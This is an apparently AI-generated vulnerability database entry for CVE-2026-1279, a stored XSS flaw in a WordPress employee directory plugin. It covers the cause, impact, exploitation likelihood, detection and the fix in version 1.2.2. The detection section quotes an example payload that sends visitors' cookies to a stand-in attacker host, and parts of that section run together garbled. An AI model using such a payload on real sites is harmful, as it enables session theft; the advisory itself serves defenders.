
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-1279 is a Stored Cross-Site Scripting (XSS) vulnerability in the Employee Directory – Staff Directory and Listing plugin for WordPress, affecting all versions up to and including 1.2.1. The flaw exists in the form_title parameter of the search_employee_directory shortcode due to insufficient input sanitization and output escaping. It was published on February 6, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The vulnerable code resides in handler/mo-empdir-search_handler.php at line 29, where the form_title parameter passed to the search_employee_directory shortcode is rendered without proper sanitization or escaping. An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload in the form_title parameter; the script is then stored and executed in the browser of any user who visits a page containing the injected shortcode (Wordfence, WordPress Plugin Trac).
Successful exploitation allows an authenticated contributor to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of every visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to all users viewing the affected page, with low confidentiality and integrity impact and no direct availability impact (Wordfence, Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1279. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).
[search_employee_directory] shortcode with a malicious form_title parameter, e.g., [search_employee_directory form_title="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].search_employee_directory shortcode with unusual or encoded values in the form_title parameter; audit log entries (if enabled) showing shortcode edits by Contributor-level users.wp_posts table) containing <script> tags or encoded JavaScript within [search_employee_directory] shortcode attributes.WordPress site administrators should update the Employee Directory – Staff Directory and Listing plugin to version 1.2.2 or later, which addresses the insufficient sanitization of the form_title parameter. The fix is reflected in the plugin's changeset on the WordPress Plugin Trac repository. As an interim workaround, restrict Contributor-level user registration and review existing pages for injected shortcode content. Limiting who can publish or edit content containing shortcodes also reduces exposure (Wordfence, WordPress Plugin Trac Changeset).
Wordfence included CVE-2026-1279 in its weekly WordPress vulnerability report for the period of February 2–8, 2026, as part of routine disclosure coverage. No notable independent researcher commentary, significant media coverage, or vendor statements beyond the initial Wordfence advisory have been identified (Wordfence Weekly Report).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."